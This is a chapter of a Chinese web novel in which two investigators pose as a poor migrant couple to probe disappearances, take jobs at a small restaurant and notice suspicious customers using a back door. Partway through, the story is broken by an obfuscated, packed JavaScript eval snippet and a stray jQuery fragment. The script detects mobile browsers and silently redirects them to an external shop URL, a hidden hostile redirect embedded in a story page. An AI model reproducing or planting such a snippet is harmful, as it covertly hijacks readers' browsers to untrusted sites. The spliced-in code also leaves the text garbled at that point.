祝同舟一开始还没懂祁越这话是什么意思,看祁越指了指门外才反应过来。
有些团伙在作案的时候,会提前观察猎物,并在门上做好标记,防止惹了不好惹的人。
他们扮演的这对夫妻,几乎符合了失踪的这些人的所有特征。
缺钱、外地人、没人在意、智力障碍,还有漂亮。
两个人梳理完所有失踪人的资料后,就已经道傍晚时分了,祝同舟拨了拨头发,缩了缩肩膀,从包里拿了几张纸币,想了想又将纸币揉搓了几遍,才出门去一楼买吃的。
下到一楼的时候,灯亮着,柜台后面却没没有人,祝同舟踮着脚往里面望了望,黑漆漆一片,连个鬼影子都没有。
祝同舟只好出门去买点吃的,为了维持人设,她只买了两个馒头就回来了。
回来的时候,祝同舟特意看了一眼门外,墙上是有些七零八落的斑驳的划痕,但不知道是不是祁越所说的那种特殊标记。
等进了屋子,就看到祁越在那里皱着眉毛在纸上写写画画。
见祝同舟回来,祁越眉头松开了一点。“回来了,先吃饭休息。明天就知道结果了。”
祝同舟点头,两人各拿着一个馒头吃了起来。
一夜安眠。
第二天祝同舟起的很早,或者说这一晚上就没怎么睡好,一直在想这个案子到底该从哪里入手破局,一晚上似睡非睡的。
只是她没有想到,祁越醒的比她还早,等她醒来的时候,祁越已经在窗户边观察情况了。
见祝同舟的目光看向他,祁越表情冷淡的脸上露出一点笑来,“醒了?怎么一副看见鬼的样子?”
“少见你这种冷淡的表情。”总不能说是一起来看见旁边站了个大男人惊呆了吧!
“哈哈哈,这不是今天又得演一天,提前节省点体力嘛。”
祝同舟耸耸肩,同样走到了窗户边,“发现什么了?”
“楼下可比昨天热闹不少,我们也许能打听到点什么……”
祝同舟牵着又开始装疯卖傻的祁越下了楼,今天果然是惹恼了不少,街上多了不少买早餐的,柜台后面昨晚不见的女人今天也出现了,懒洋洋的,一直在打哈欠。见祝同舟两人下来,懒散地冲着他们点了点头。
祝同舟腼腆地笑笑,有些不好意思地低声问:“姐姐,咱们这包早餐吗?”
“包什么早餐?你们交的那两个子都还不够老娘打扫房间的呢!”
祝同舟讪讪的笑笑,缩了缩脖子向女人道了歉,牵着还在傻笑着的祁越往外面走去。
街上支起来了不少摊子,有卖还带着泥土和水珠的新鲜菜的,有支着大锅卖油条的,人来人往,看不出昨天半点萧条的意味。
祝同舟牵着祁越,来到了离旅店最近的一家摊子。
“大姐,来俩包子。”
摆摊的女人应了一声,手脚麻利地给夹了两个包子,上菜的时候看见祁越正拿着桌上的筷子叮叮当当敲个不停,脸上还带着夸张的笑,有些犹豫,“他这是……”
“我男人,从小落下的毛病,家里就剩我俩了,出来找个工混口饭吃。”
祝同舟有些黯然地咬着包子。
女人在围裙上擦了擦手,有些局促地从旁边夹了两个圆胖圆胖的大包子。
“哦、哦,这是早上卖剩下的,给你了,不要钱。”
祝同舟连忙道谢,祁越伸手就要去抓包子,被祝同舟拍了一下手,又瘪了嘴,眼瞅着是又要嚎啕大哭。
祝同舟连忙将稍微凉了一点的包子塞到了祁越嘴里。
“吃这个,这个不烫。”
祁越眨眨眼,乖巧地吃着嘴里的包子。
旁边的女人看了两眼,越看越摇头。
祝同舟倒是不在乎他们的目光,这次出来本就是为了打探消息,一边小口吃着包子,一边竖着耳朵去听旁边人的对话。
领桌做了几个三四十岁的中年男人,就着油条在喝豆浆。
祝同舟依稀听到他们在说些什么“又少了”“别惹事”“周家”。
祝同舟吃完包子,将老板娘送的那个装进衣服口袋,又是一番道谢,才牵着祁越回了旅店。
“我们被盯上了。”
刚一进房间,祁越就伸了个懒腰,有些雀跃的说道。
“门口有个三角形状的记号,是昨天没有的,看来我们很快就可以知道对方想做些什么了。”
“那现在呢?坐等着对方上门?”
“当然不,我们得主动出击。”
祝同舟带着祁越又出了门,这次他们的目的地是一家在门上贴着招工的饭店。
饭馆不大,摆了五六张桌子,地面是水泥的,扫得还算干净。墙上贴着几张菜单,上面的字是用毛笔写的,歪歪扭扭。一个胖胖的男人正在柜台后面抽烟,看见他们进来,抬了抬眼皮。
“两位吃饭?”
“不、不是。”祝同舟把声音压得很低,带着点小心翼翼的畏缩,“我看见门口贴着招工,我来问问。”
男人打量了她一眼,又看了看她身后的祁越,眉头皱起来。
“你男人?”
祝同舟点头。
“他能干活吗?”
“他会洗碗。”祝同舟连忙说,“我在家教过他的,他会洗碗,不偷懒。”
男人把烟头摁灭在烟灰缸里,沉吟了一会儿。
“后厨正好缺个洗碗的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808744|209248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的目光在祝同舟身上转了一圈,“你干一个月,工钱怎么算?”
“您看着给。”祝同舟说,“管吃住就行,我男人吃的不多。”
男人似乎对这个回答挺满意,脸色缓和了些。
“行,那你们先住后院,有间放杂物的屋子,收拾收拾能睡。你从今天就开始干吧。”
事情顺利得有些出乎意料。
祝同舟原本以为要费一番周折,没想到对方连证件都没仔细看,只是随便翻了翻就把他们收下了。她本能地觉得这不太对劲,但转念一想,这年月肯做这种苦力的外地夫妻太常见了,人家不挑剔也正常。
饭馆老板姓孙,叫孙德发,大家都叫他孙老板。他给祝同舟安排的活是洗菜、切菜、给客人上菜,祁越则窝在后厨的小角落里洗碗。后厨不大,灶台和洗菜池挤在一起,弥漫着油烟和洗洁精混合的气味。祁越蹲在角落,面前堆着一摞脏碗,他洗得很认真,虽然洗得慢,但每一个都擦得干干净净。
祝同舟忙前忙后,偶尔经过后厨,会朝祁越的方向看一眼。
每次看,祁越都在专心洗碗。但如果她多看两秒,他那只泡在油水里的手就会不动声色地翻一下手指,露出戴在指节上的一枚旧铜戒。
那是他们约定的暗号。铜戒正面朝上,表示一切正常;反过来戴,表示有情况。
祝同舟收回视线,端着菜盘往前面走。她在心里飞快地计算着——这家饭馆开在汉阳县最北边,和主街其他店铺一样,位置不显眼但客流量不算太差。中午吃饭的人不多,大多是附近的商户和几个散工。孙老板在前台招呼,和客人们有说有笑,一看就是本地人,人缘不错。
可祝同舟总觉得哪里不对。
她观察了很久,终于发现了一个细节。
这家饭馆的客人们,几乎没有一个人点菜单上没有的菜。
这本来不是问题。小县城的小饭馆,熟客来了都是那几样,没什么奇怪的。但奇怪的是,有几个客人进来的时候,不坐下,不看菜单,也不说话。孙老板见了他们,会亲自迎上去,把人领到饭馆最里面靠墙的那张桌子。那张桌子紧挨着一扇后门,挂着厚重的蓝布门帘,从外面看根本不知道门后面是什么。
客人进去之后,过不了多久就会从后门出来,然后直接离开饭馆。
来的人有男有女,有老有少,外表看起来没有任何共同点。
祝同舟端着茶壶经过后门的时候,脚步微微放慢了一些。她听见门帘后面有压低了的说话声,像是有什么人在小声交代什么。她不敢多停,只能走过去。
过了一会儿,孙老板叫住她。
“小刘。”他喊的是她现在的姓,“去后院把货搬进来。”